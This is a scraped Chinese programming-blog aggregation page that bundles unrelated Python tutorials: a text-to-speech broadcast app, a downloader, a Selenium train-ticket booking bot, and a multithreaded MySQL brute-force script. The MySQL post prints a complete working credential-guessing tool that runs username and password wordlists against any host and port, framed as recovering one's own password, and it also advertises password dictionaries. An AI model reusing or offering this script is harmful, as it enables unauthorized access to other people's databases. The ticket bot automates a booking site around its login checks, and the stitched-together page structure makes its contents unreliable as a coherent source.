精华内容
下载资源
问答
  • 用Python写一个语音播放软件

    千次阅读 多人点赞 2018-11-11 15:40:22
    Python这么久不如动手写一自己的语音广播软件,即使发生故障也可以自行排除。   1 界面设计   在开始动工之前当然要分析需求,我要的核心功能是将段文字通知输入软件,然后将其转换为语音并播放出来。....

    单位经常使用广播进行临时事项的通知(将文字转换为语音然后通过功放广播),但是市面上多数语音播放软件都是收费的,要么发音失真,要么不够稳定——经常出现莫名其妙的故障,容易给工作带来被动。学Python这么久不如动手写一款自己的语音广播软件,即使发生故障也可以自行排除。

     

    1

    界面设计

     

    在开始动工之前当然要分析需求,我要的核心功能是将一段文字通知输入软件,然后将其转换为语音并播放出来。

    这项功能虽然并不复杂,但也需要一个交互式的界面,所以决定使用Tkinter来实现这个功能。

     

    第一步:建立一个窗体

    设置标题、大小等要素,为了避免显示格式错乱将其设定为不可改变大小,代码如下:

     

    第二步,设置一个控件

    用于接受收入的文字,这里选择带滚动条的Text,代码如下:

     

    第三步,提供选项

    作为一款语音播放软件,最基本的语速、音调等风格设置还是要有的,这里使用Combobox控件提供固定选项,用户可以根据情况选择不同的发音、语速和语调。

     

    第四步,建立功能事件的触发接口

    设置三个Button控件分别用于触发“语音播放”、“文本清除”和“界面退出”功能。

     

    最终界面效果如下:

     

    2

    语音播放

     

    关于“清除”、“退出”等功能相对比较简单,这里重点对本次的核心功能——语音播放进行详细说明。

     

    1).语音接口
    文本转换语音推荐使用百度云的REST API 接口,登录网站http://ai.baidu.com/,依次进入控制台——语音技术页面,创建自己的语音应用(下图),其中AppID 、API Key 、Secret Key 三个参数在代码中会用到。

     

    然后使用 pip install baidu-aip 安装python SDK模块,我们来看一下函数原型:

    APP_ID = 'XXXXXX'
    API_KEY = 'XXXXXXXXXXXXX'
    SECRET_KEY = 'XXXXXXXXXXXXXXXXXXXXXX'
    client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)
    result  = client.synthesis(text, 'zh', 1, {'per':1, 'vol':15, 'pit':9, 'spd':5 })
    • text:需要转换的文字。

    • per:发音人选择, 0为女声,1为男声,3为情感合成-度逍遥,4为情感合成-度丫丫,默认为普通女声。vol:音量,取值0-15,默认为5中音量

    • pit:音调,取值0-9,默认为5中语调。

    • spd:语速,取值0-9,默认为5中语速。‘zh’和1分别为语音模式和客户端类型,该两项均为固定值,不支持修改。

    可以看到,我们需要的发音、音调、语速三种风格都可以通过修改参数来实现。

     

    2).功能设计

    解决了语音合成接口的问题,就可以结合界面设置来实现具体功能了。

    • 首先,要将界面中的语音风格选项与语音合成函数参数一一对应起来,这是一个典型的键与值的对应关系,使用字典这种数据结构再合适不过了。

    • 然后对于发音风格,选取了男声、女声、混合三种模式;

    • 最后对于音调和语速,没必要设置过细的精度等级,这里分别选取了三个跨度明显的等级进行区分。

     

    当“播放”按钮点击时,要从Text控件中读取文本,如果文本为空则弹出提示框要求重新输入;若文本不为空则将文本转换为音频文件并使用playsound进行播放。

    这里有一个问题需要特别注意,那就是在软件运行过程中,生成并播放的音频文件不可删除、不可修改、不可覆盖,所以每次转换生成的音频文件名称绝对不能重复,否则在进行多次“播放”操作时,会因为新生成的音频文件无法保存而发生故障。

     

    3

    打包封装

    到目前为止,这个软件的运行要依赖于本地的python开发环境,不能方便地提供给他人使用,这里推荐Pyinstaller的第三方库来对python程序进行打包,首先进入刚才的py文件所在目录,执 行以下cmd命令。其中“-w”的作用是是不显示命令窗口,tk_voice是刚才的py文件名称。

    pyinstaller -w tk_voice.py

    这时,在同一目录下会生成一个dist文件夹,这里面就是打包后的程序文件了。我们运行一下其中的.exe文件,就会出现之前设计的程序界面,在文本框中输入一段测试文字:“全体人员请注意,全体人员请注意,请立即下楼集合开饭。”,点击“播放”按钮试一下效果:

    插入音频————测试.mp3

    最后,关于Pyinstaller的使用有几点需要注意的地方:

    • 该方法仅适用于windows系统,而且对系统版本有比较严格的要求,比如64位系统下打包的程序无法在32位系统下运行。

    • 如果需要打包的程序中调用了外部的一些图片或其他资源文件,则需要手动复制到打包后的文件夹内,因为对于这些文件Pyinstaller不会进行打包。

    • 使用Pyinstaller打包如果出现中途失败的情况,可能会导致原py文件内容丢失,所以打包之前最好先进行备份。

    • 使用import导入其他库的时候尽量有选择性,不要导入整个库,不然打包后的文件会非常庞大。

     

    本文使用python写了一款语音播放软件,主要涉及Tkinter、baidu-aip、playsound、pyinstaller几个库,能够实现基本的语音合成及播放功能,能够脱离python开发环境运行,便于自行维护和扩展,缺点是界面比较简陋、功能比较单一,有兴趣的小伙伴可以自行修改完善。

    展开全文
  • 再也不怕忘记MySQL的用户名和密码了,工具可以秒破MySQL,冰河强烈建议收藏!!

    大家好,我是冰河~~

    最近有很多小伙伴问我:冰河,咋感觉你啥都会呀?Java、Python、大数据、分布式、微服务、系统架构、运维、渗透,请问你平时是怎么学习的呢?我:个人觉得最好的学习方法就是,在平时的工作过程中,遇到问题多总结,注意积累解决问题的方案,及时查漏补缺,逐渐形成一套自己的方法论。

    要知道,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点

    小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~

    进入主题

    好了,进入今天的主题吧,今天下班回到家想登录下MySQL数据库,不巧的是,忘记了MySQL数据库的用户和密码了,怎么办?使用安全模式登录?我想这么常规的方式应该大家都会吧!今天,就来点不一样的吧,那就是使用Python写个爆破MySQL的工具,看能不能爆破出MySQL的用户和密码。

    小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~

    好了,咱们说干就干,开始吧。

    爆破脚本

    这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:

    • 待破解的ip/domain:例如127.0.0.1
    • 端口:例如3306
    • 数据库:例如test
    • 用户名列表文件:例如user.txt文件
    • 密码列表文件:例如password.txt文件

    相对来说,还是比较简单的,下面就给出完整的脚本代码吧。

    #!/usr/bin/env python
    # -*- coding: gbk -*-
    # -*- coding: utf-8 -*-
    # Date: 2021/06/30
    # Created by 冰河
    # Description MySQL暴力破解工具多线程版
    import os, sys, re, socket, time
    from functools import partial
    from multiprocessing.dummy import Pool as ThreadPool
     
    try:
        import MySQLdb
    except ImportError:
        print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
        print '[!] http://www.codegood.com/archives/129'
        exit()
     
     
    def usage():
        print '+' + '-' * 50 + '+'
        print '\t   Python MySQL暴力破解工具多线程版'
        print '\t   微信公众号:冰河技术'
        print '\t\t Code BY: 冰河'
        print '\t\t Time:2021-06-30'
        print '+' + '-' * 50 + '+'
        if len(sys.argv) != 6:
            print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
            print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"
            sys.exit()
     
     
    def mysql_brute(user, password):
        "mysql数据库破解函数"
        db = None
        try:
            # print "user:", user, "password:", password
            db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
            # print '[+] 破解成功:', user, password
            result.append('用户名:' + user + "\t密码:" + password)
        except KeyboardInterrupt:
            print '已成功退出程序!'
            exit()
        except MySQLdb.Error, msg:
            print '程序出错,错误信息为:', msg
            pass
        finally:
            if db:
                db.close()
     
     
    if __name__ == '__main__':
        usage()
        start_time = time.time()
        if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
            host = sys.argv[1]
        else:
            host = socket.gethostbyname(sys.argv[1])
        userlist = [i.rstrip() for i in open(sys.argv[4])]
        passlist = [j.rstrip() for j in open(sys.argv[5])]
        print '\n[+] 目  标:%s \n' % sys.argv[1]
        print '[+] 用户名:%d 条\n' % len(userlist)
        print '[+] 密  码:%d 条\n' % len(passlist)
        print '[!] 密码破解中,请稍候……\n'
        result = []
     
        for user in userlist:
            partial_user = partial(mysql_brute, user)
            pool = ThreadPool(10)
            pool.map(partial_user, passlist)
            pool.close()
            pool.join()
        if len(result) != 0:
            print '[+] MySQL密码破解成功!\n'
            for x in {}.fromkeys(result).keys():
                print x + '\n'
        else:
            print '[-] MySQL密码破解失败!\n'
        print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
    

    脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。

    这里需要注意的是:能不能破解出MySQL的用户和密码,那要看你的爆破字典是否足够强大了,说直白点,就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。

    如果你想获取一个相对来说比较强大的爆破密码的字典文件,可以加我微信:sun_shine_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序,大家也可以私聊我获取。

    推荐书籍

    这次,也给大家推荐一些关注渗透方面的书籍吧。

    《冰河的渗透实战笔记》

    首先,就是我最近写的这本《冰河的渗透实战笔记》,一本很不错的渗透实战电子书,绝大部分来源于冰河多年的渗透实战笔记。

    下载地址:https://download.csdn.net/download/l1028386804/18830348

    在这里插入图片描述

    另外,再推荐两本,我之前深入研究过的并且很不错的书籍。

    《IDA Pro代码破解揭秘》

    《IDA Pro权威指南(第2版)》

    写在最后

    如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~

    推荐阅读:

    好了,今天就到这儿吧,小伙伴们点赞、收藏、评论,一键三连走起呀,我是冰河,我们下期见~~

    展开全文
  • 收藏! Python 写一个抢票软件

    千次阅读 多人点赞 2020-02-20 18:48:08
    本文介绍的是如何 Python 语言实现 12306 自动预定列车票,也就是坊间常说的“抢票”,但个人觉得,这不算是“抢”,只不过是一定程度的自动化。总体设计所谓抢票软件,本质上就是基...

    本文介绍的是如何用 Python 语言实现 12306 自动预定列车票,也就是坊间常说的“抢票”,但个人觉得,这不算是“抢”,只不过是一定程度的自动化。

    总体设计

    所谓抢票软件,本质上就是基于浏览器驱动,实现登录、预定、确认信息的自动化。购买列车票涉及4个网页,相应的基本流程如下:

    1. 登录:输入用户名、密码,识别验证码,点击“登录”;

    2. 基本信息填写:出发地,目的地,出发日期,车票类型(普通或学生),车次类型选择,点击“查询”,如果目标车次尚有余票则点击“预定”,否则再次点击查询……;

    3. 订单信息填写:乘车人选择,席别选择,票种选择,点击“提交订单”;

    4. 订单确认:选择座位位置,点击“确认”。

    详细设计

    总体设计理清了抢票的主要步骤,进一步需要明确每个步骤中需要注意的问题。

    1. 登录

    登录过程中,自动输入用户名和密码比较简单,难点在于识别验证码。截至目前,各种自动识别验证码的方案准确率都不高,因此,本文采用“人工辅助”识别验证码,即:识别验证码由人工完成,选择图形验证码后点击“登录”。

    2. 基本信息填写、查询、预定

    整体上没有难点,但需要注意,出发地和目的地可能有多个车次,每个车次有多种席别,乘车方案可能比较复杂,比如:路途较远的情况下,对于 G 字头、D字头列车,二等座及以上可接受;对于 K 字头、T 字头列车,硬卧及以上可接受……。如此,在抢票的时候,需要按优先级轮询各种方案。以杭州 -> 成都为例,有 5 个车次可选,如下所示:

    3. 订单信息填写

    乘车人列表中可能有多个人的信息(如果你曾经帮别人买过车票的话,注册信息会保留),需要选择正确的乘车人、票种和席别,如下例子所示:

    4. 订单确认

    这一步很简单,点击“确认”即可,毕竟春运期间抢票,一般不会在意位置,能抢到已是幸运。

    准备工作

    根据总体设计,可以将抢票程序规划为 5 个主要函数:

    • __init__():初始化

    • login_proc():登录模块

    • filling_proc():基本信息填写模块

    • booking_proc():查询、预订、订单信息填写模块

    • confirm_proc():订单确认模块

    1. 浏览器驱动

    本文介绍的抢票软件基于 Chrome 浏览器,因此,需要下载与之版本匹配的驱动 chromedriver(附:下载网址)。注意与自己的 Chrome 版本对应,步骤如下:

    • 首先,查看 Chrome 的版本,选择“设置” -> “关于 Chrome”,如下图版本为 66.x。

    • 然后,进入 chromedriver 下载网址,根据 notes.txt 文件提供的信息选择正确版本的驱动。如下图,chromedriver2.38 支持 Chrome 版本为65-67:

    2. Selenium 模块准备

    Selenium 是一个用于 Web 应用程序自动化测试的工具,可直接运行在浏览器中,模拟真实用户操作。支持的浏览器包括 IE、Mozilla Firefox、Safari、Chrome、Opera 等。由于其功能强大,被广泛应用于网络爬虫的开发,本文将用它作为抢票程序的核心模块(附:下载及安装方法)。

    3. 必要信息准备

    列车购票官网经过数次改革,出发地、目的地、车次、席别等都不是明文,而是以编码表示,因此,需要提前准备好这些信息。信息获取方法:谷歌浏览器打开 12306 官网购票页面,鼠标右键“查看”可以获取到上述信息,以杭州 -> 成都为例:

        #自定义变量区
        value_fromstation = '%u676D%u5DDE%2CHZH'  # 始发站(杭州)
        value_tostation = '%u6210%u90FD%2CCDW'  # 终点站(成都)
        value_date = '2018-05-10'  # 出发时间
        username=u"username" # 用户名
        password="password" # 密码
        #杭州-成都:车次&席别&预定
        #车次信息字典,数据分别表示车次、一等座ID、二等座ID、无座ID、对应车次的预定按钮ID
        train_info = {"D2222":[['ZY_56000D222251', 'ZE_56000D222251', 'WZ_56000D222251'], 'ticket_56000D222251'],
                  "D2262":[['ZY_56000D226251', 'ZE_56000D226251', 'WZ_56000D226251'], 'ticket_56000D226251']}
    

    车次、票种编码,主要网页 URL 是固定的,如下:

        #车票类型字典,"学生票"和"普通票"对应的ID
        ticket_type_dict = {'student': '//input[@name="sf" and @id="sf1"]',
                                'common': '//input[@name="sf" and @id="sf2"]'}
        #车次类型字典
        train_type_dict = {'T': '//input[@name="cc_type" and @value="T"]',  # 特快
                               'G': '//input[@name="cc_type" and @value="G"]',  # 高铁
                               'D': '//input[@name="cc_type" and @value="D"]',  # 动车
                               'Z': '//input[@name="cc_type" and @value="Z"]'}  # 直达
         
        #登陆页面url
        login_url = 'https://kyfw.12306.cn/otn/login/init'
        #个人信息页面url
        initmy_url = "https://kyfw.12306.cn/otn/index/initMy12306"  
        #订票页面url
        book_url = 'https://kyfw.12306.cn/otn/leftTicket/init'   
        #乘客选择页面url
        confirm_url = 'https://kyfw.12306.cn/otn/confirmPassenger/initDc'
    

    登陆模块 login_proc() 设计

    请参见下面代码:

    def __init__(self):
            """
            Info:构造函数,创建一个浏览器对象
            """
            print(u"欢迎使用列车订票工具")
            self.driver = webdriver.Chrome(self.driver_path)
            self.driver.implicitly_wait(300)
        
        def login_proc(self):
            """
            Info:登陆过程处理函数,其中图形验证码需要手动选择
            """
            self.driver.get(self.login_url)
            # sign in the user name
            try:
                self.driver.find_element_by_id("username").send_keys(self.username)
                self.driver.find_element_by_id("password").send_keys(self.password)
            except Exception  as err:
                print(u"输入用户名或密码失败!",err)
                   
            #点击验证码,人工辅助,目前识别图形验证码比较困难,因此选择人工辅助  
            print(u"请自行选择验证码,点击登陆")
            while True:
                if(self.driver.current_url != self.initmy_url):
                    time.sleep(1)
                else:
                    print('Login finished!')
                    break
    

    基本信息填写模块 filling_proc() 设计

    请参见下面代码:

    def filling_proc(self,train_type,ticket_type):
            """
            Info:填写起始站,终点站,出发时间,车次类型,车票类型等信息
            """
            print (u'列车类型:', train_type)
            print (u'车票类型:', ticket_type)
            
            # 打开订票网页
            self.driver.get(self.book_url)
            # 选择始发站
            self.driver.add_cookie({"name": "_jc_save_fromStation", "value": self.value_fromstation})
            # 选择终点站
            self.driver.add_cookie({"name": "_jc_save_toStation", "value": self.value_tostation})
            # 选择出发日期
            self.driver.add_cookie({"name": "_jc_save_fromDate", "value": self.value_date})
            self.driver.refresh()
            # 选择车次类型                
            if (train_type == 'T' or train_type == 'G' or train_type == 'D' or train_type == 'Z'):
                self.driver.find_element_by_xpath(self.train_type_dict[train_type]).click()
            else:
                print (u"车次类型异常或未选择!(train_type=%s)" % train_type)
            
            # 选择车票类型
            if (ticket_type == 'student' or ticket_type == 'common'):
                self.driver.find_element_by_xpath(self.ticket_type_dict[ticket_type]).click()
            else:
                print (u"车票类型异常或未选择!(train_type=%s)" % ticket_type)
    
    
    

    查询、预订、订单信息填写模块 booking_proc() 设计

    请参见下面代码:

    def booking_proc(self,refresh_interval=0):
            """
            Info:订票处理过程,循环查询符合条件的车次,如果存在则点击“预定”
            """
            book_ticket_flag = False
            # 循环查询
            while True:
                time.sleep(refresh_interval)
                # 点击“查询”按钮,刷新页面开始查询,查询按钮的ID="query_ticket"
                search_btn = WebDriverWait(self.driver, 10).until(
                    EC.presence_of_element_located((By.XPATH, '//*[@id="query_ticket"]')))
                search_btn.click()
                # 扫描查询结果,根据自定义车次字典train_info提供的信息,逐一查询
                try:
                    for train in self.train_info:
                        print(u"当前查询车次为:"+train)
                        # 根据车次查询对应的席别:商务,一等,二等,无座等
                        seat_list= self.train_info.get(train)
                        for seat in seat_list[0]:
                            ticket_seat_id = '//*[@id="' + seat + '"]'# 席别ID
                            
                            tic_tb_item = 'default'
                            # 获取车票数量信息:"-","无","数字"
                            tic_tb_item = WebDriverWait(self.driver, 2).until(
                                EC.presence_of_element_located((By.XPATH, ticket_seat_id)))
                            tic_ava_num = tic_tb_item.text
                            
                            # 无票或未开售,则结束当前查询
                            if(tic_ava_num == u'无' or tic_ava_num == u'*'):  
                                continue
                            # 如果车次有票,则点击对应车次的“预定”按钮
                            else:
                                book_ticket_btn = '//*[@id="' + seat_list[1] + '"]/td[13]/a'
                                self.driver.find_element_by_xpath(book_ticket_btn).click()
                                book_ticket_flag = True
                                print(u"开始预定")
                                break
                        if (book_ticket_flag):
                            break
                   
                except Exception as err:  
                    print(err)
                    # 网络状态不好的时候,点击查询按钮,可能返回查询结果失败,对此异常可再次点击
                    search_btn.click()
                if (book_ticket_flag):
                    break
    

    订单确认模块 confirm_proc() 设计

    请参见下面代码:

    def confirm_proc(self):
            """
            Info:点击“预定”之后,需要确认乘客信息和座位信息
            """
            # 判断页面跳是否转至乘客选择页面      
            while True:
                if (self.driver.current_url == self.confirm_url):
                    print (u'页面跳转成功!')
                    break
                else:
                    print (u'等待页面跳转...')
                    time.sleep(1)
            # 乘车人选择:针对乘车人列表多于一人的情况
            print(u"选择乘客")
            while True:
                try:
                    # 选择乘车人列表中的第二个人
                    self.driver.find_element_by_xpath('//*[@id="normalPassenger_1"]').click()
                    break
                except Exception as err:
                    print (u'等待常用联系人列表。。。',err)               
                    time.sleep(0.5)
            try:
                print(u"提交订票信息")
                self.driver.find_element_by_xpath('//*[@id="submitOrder_id"]').click()
                time.sleep(1.5)
                print(u"确认订票信息")
                self.driver.find_element_by_xpath('//*[@id="qr_submit_id"]').click()           
            except Exception as err:
                print (err)
    

    如需查看完整代码和详细讲解,欢迎订阅专栏。

    你的收获

    • 掌握学习编程语言的方法。与市面上那些力求面面俱到、动辄数百页的辅导书不同,本专栏将编程语言的学习路线提炼为基础、中级、高级三层,并依此循序渐进,此路线亦可用于学习其它编程语言。

    • 掌握 Python 编程语言核心概念,包括数据结构、语句、函数、类等。丰富实例助力读者编程实践,快速入门 Python。

    • 掌握高级知识点,包括模块、标准库、文件、流、数据库、网络编程、图形界面等,并具备基于这些知识点编写小应用的能力。

    专栏设计

    • 零基础学习,循序渐进

    • 内容全面,提炼要义

    • 理论结合实践,提升学习效率

    本专栏的目标是带领读者快速掌握 Python 要义,进而上手实践。专栏分为四个部分:基础篇、中级篇、高级篇以及扩展篇,对于初学者,建议按照顺序阅读。

    第一部分:基础篇。从 Python 的起源、现状和前景讲起,首先带领读者搭建开发环境,随后介绍 Python 的基础知识和基本概念,包括列表、元组、字符串、字典以及各种语句,以简练而生动的文字引导读者步入 Python 的世界。

    第二部分:中级篇。循序渐进地介绍一些对初学者来说相对难以理解的内容,包括函数、类、继承、函数重写、作用域、参数传递、错误及异常等内容。

    第三部分:高级篇。这部分立足于实践,并将介绍一些相对高级的主题,包括模块、标准库、文件、流、数据库、网络编程、图形界面等。通过学习这部分内容,读者将掌握模块的原理和利用标准库将 Python 与数据库、网络、图形界面等工具结合使用。

    第四部分:扩展篇。结合实际应用场景,带领读者完成两个小程序的设计和实现。


    Python 已被多家平台评选为 2020 年最值得掌握的编程语言第一名!相信精通这门语音,一定会让你在未来获得更大的发展空间!

    即日起至 2 月 23 日, 《Python 开发 14 天快速入门》限时特惠!现在订阅本专栏,即可开启 Python 学习之路,还能进群和作者一起交流学习哦~

    订阅专栏,即可进群和作者交流
    展开全文
  • 自己动手用python写一个下载器

    千次阅读 2018-05-04 10:48:07
    今天chrome下载ubuntu系统iso的时候非常慢(事实上chrome下载什么都经常异常的慢),但是又没有安装迅雷(也不想),于是打算自己用python写一个下载器。 代码很简单,没有断点续传,没有文件校验,更没有p2p,...

    今天用chrome下载ubuntu系统iso的时候非常慢(事实上用chrome下载什么都经常异常的慢),但是又没有安装迅雷(也不想),于是打算自己用python写一个下载器。
    代码很简单,没有断点续传,没有文件校验,更没有p2p,就一个下载的功能;

    # coding: utf-8
    import urllib
    
    url = 'http://releases.ubuntu.com/18.04/ubuntu-18.04-desktop-amd64.iso'
    
    filename = url[url.rindex('/'):]
    print('filename = ' + filename)
    
    downloaded = '0'
    
    
    def download_listener(a, b, c):
        per = 100.0 * a * b / c
        if per > 100:
            per = 100
        new_downloaded = '%.1f' % per
        global downloaded
        if new_downloaded != downloaded:
            downloaded = new_downloaded
            print 'download %s%%  %s/%s' % (downloaded, a * b, c)
    
    
    response = urllib.urlretrieve(url, 'D:\\download\\' + filename, download_listener)
    
    

    因为技术含量极低,所以不得不说,python大法真好……

    更新
    python3版本

    # coding: utf-8
    import urllib.request
    import os
    
    url = 'https://nchc.dl.sourceforge.net/Setup.exe'  # 下载地址
    
    filename = url[url.rindex('/') + 1:]  # 截取文件名
    print('filename = ' + filename)
    
    downloaded = '0'
    
    
    def download_listener(a, b, c):
        per = 100.0 * a * b / c
        if per > 100:
            per = 100
        new_downloaded = '%.1f' % per
        global downloaded
        if new_downloaded != downloaded:
            downloaded = new_downloaded
            print('download %s%%  %s/%s' % (downloaded, a * b, c))
    
    
    path = 'D:\\download\\'  # 下载目录
    if not os.path.exists(path):
        os.mkdir(path)
    
    response = urllib.request.urlretrieve(url, path + filename, download_listener)
    
    
    展开全文
  • 用python写一个串口调试软件

    千次阅读 2018-12-27 16:19:18
    分享一个用pyqt5+pyserial给公司的串口调试软件 串口的发送和接收都是多线程的,实现界面UI与数据部分分离 支持hex发送与解析,还有定时发送功能 ui文件全是qt desinger的(界面简直简单的离谱!!...
  • 今天编就为大家分享一篇关于用Python写一个模拟qq聊天程序的代码实例,编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随编来看看吧 Python 超简单的聊天程序 客户端: ...
  • 用python写一个模拟鼠标的软件

    千次阅读 多人点赞 2021-05-22 18:18:28
    文章目录如何成为名合格的阴阳带师在前面 | Write Head使用方法 | Using Method设计思路 | Design界面介绍 | Interface操作说明 | Operation快捷键位 | Hotkey从零开始 | Start Zero项目计划 | Project Plan版本...
  • 如何用Python写一个安卓APP

    万次阅读 多人点赞 2018-04-11 19:23:56
    前言:用Python写安卓APP肯定不是最好的选择,但是肯定是一个很偷懒的选择,而且实在不想学习Java,再者,就编程而言已经会的就Python与Golang(注:Python,Golang水平都一般),那么久Google了一下Python写安卓的APP...
  • 用python写一个简单的倒计时软件

    万次阅读 2017-07-31 08:50:27
    模块:time
  • 用Python写一个模拟qq聊天程序

    千次阅读 2019-01-24 11:32:22
    # 思路:使用socket来完成(socket 是全双工模式,可以实现收和发同时进行),定义俩个线程,一个负责发消息、一个负责收消息 from threading import Thread from socket import * def rec_dat...
  • 自己使用Python制作gif
  • 用python写一个抢票程序(无验证码)

    千次阅读 热门讨论 2018-03-27 16:20:57
    准备工作:利用到的库: requests、time、re、threading、wx利用chrome抓包模拟校园网登录的...我在这次用到的有:url、requests_headers、form_data和cookies1.1 在python中学习requests创建会话并且发送http...
  • 用python写一个定时提醒程序

    千次阅读 2017-03-12 21:25:35
    于是乎一个小程序,指定时间会打开浏览器播放一段音乐,提醒我们休息一会儿,防止我们猝死,说多了都是泪。 较基础,适合python新手及对python感兴趣的同学阅读。 我们来理一遍这个程序,大概功能是:我们...
  • 用Python一个翻译软件

    千次阅读 2019-01-29 17:58:18
    来源 | Ahab杂货铺(ID:PythonLearningCamp)前两天吃了平哥的一波狗粮,他给女朋友一个翻译软件自己真真切切的感受到了程序员的浪漫。在学习re...
  • 【kimol君的无聊发明】—用python写截屏工具

    千次阅读 多人点赞 2020-09-27 16:41:40
    【kimol君的无聊发明】—用python写截屏工具前言一、技术实现1....今天要做的东西,就是用python写一个截屏工具。想必大家平时截屏的时候很多都是的微信的ALT+A或者是WINDOWS自带的截屏软件。作为技
  • 用python翻译小软件吧~

    千次阅读 2016-06-14 19:42:31
    一个python小程序,作用是在IDE端模拟有道词典的访问
  • 用Python写一个可以记日记的程序

    千次阅读 2017-08-06 14:48:23
    一个小型日记程序
  • 步步教你怎么用python写贪吃蛇游戏

    万次阅读 多人点赞 2019-06-27 18:17:52
    目录 0 引言 1 环境 2 需求分析 3 代码实现 4 后记 0 引言 前几天,星球有人提到贪吃蛇,下子就勾起了我的兴趣,毕竟在那个Nokia称霸的年代,这款游戏可是经典中的...而用Python(蛇)玩Snake(贪吃蛇),那再合适不过了
  • 用python写个小程序。

    2018-01-04 14:45:32
    ![图片说明](https://img-ask.csdn.net/upload/201801/04/1515077130_302271.jpg)
  • 如何Python写一个安卓APP

    万次阅读 多人点赞 2016-01-26 09:17:52
    使用python写一个安卓APP
  • 教你用Python写界面

    万次阅读 多人点赞 2018-11-18 18:52:54
    当你需要添加一个注释时,你应该考虑如何修改代码才能不需要注释 作为Pyhon开发者,你迟早都会碰到图形用户界面(GUI)应用开发任务,这时候我们就需要一些界面库来帮助我们快速搭建界面,python的界面库很多,我...
  • 用Python写一个最简单的计时秒表

    千次阅读 多人点赞 2019-07-01 21:44:14
    在Windows上是自带计时秒表的,这玩意一般不上。但对于做视频相关操作的工程师有一个巨大的作用,就是摄像头拍屏幕上的秒表然后把摄像头得到的图像经过压缩->...为此,直接写一个精确到1ms的秒表如下: impo...
  • 用Python一个戴口罩软件

    千次阅读 2020-02-03 18:01:55
    “这是菜鸟学Python第379篇原创”加星标一起学Python新型冠状病毒的疫情牵动着全国人民的心,大家都想这疫情能早一点的过去,大家都能走出家门,而不用蜗居在家中。虽然疫情很...
  • 用PYTHON写一个应用程序并发布exe

    千次阅读 2016-05-24 18:21:56
    1.安装PYTHON3.4.3 2.安装cx_freeze 3.安装cx_freeze补丁 C:\Python34\Scripts>pip.exe install f:\F_pan\cx_Freeze-4.3.4-cp34-none-win_amd64.whl 4.编写Python代码。 5.发布 : C:\Python34\Scripts>...
  • 昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序。查了一下,发现只有windows上可以,具体的大家也可以搜索...于是我心想,能不能用python写一个程序,让它在后台运行。每当有u盘插...
  • 背景介绍 之前一段时间在学习python,有以前的C++基础理解起python来还是没有太大的压力的,看了下语法后打算写一个简单的程序练练手,同时也熟悉下python的语法,同时呢我也在玩剑灵这款游戏,里面有些技能操作会按...
  • 用python写的一些程序

    千次阅读 2018-10-16 09:25:58
    方法正则表达式 import re s= '000810000004' result = re.sub(r"(?<=\w)(?=(?:\w\w)+$)", "-", s) 方法二:暴力破解 s= '000810000004' i1 = 0 i2 = 0 n...
  • 用python编写一个掷骰子的程序

    千次阅读 热门讨论 2020-02-22 12:48:08
    摘要: 编写了一个掷骰子的程序,...成品结果请观看编写一个掷骰子的程序结果演示视频。 第一节: 介绍 程序在PyCharm软件上编写,PyCharm为我们提供了很多python模块,并且可以很方便的对所需要的模块进行下载安...
  • 483546416,群里都是学Python开发的,如果你正在学习Python编欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的份2018最新的Python进阶资料和高级开发教程,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 240,326
精华内容 96,130
关键字:

自己如何用python写一个小软件

python 订阅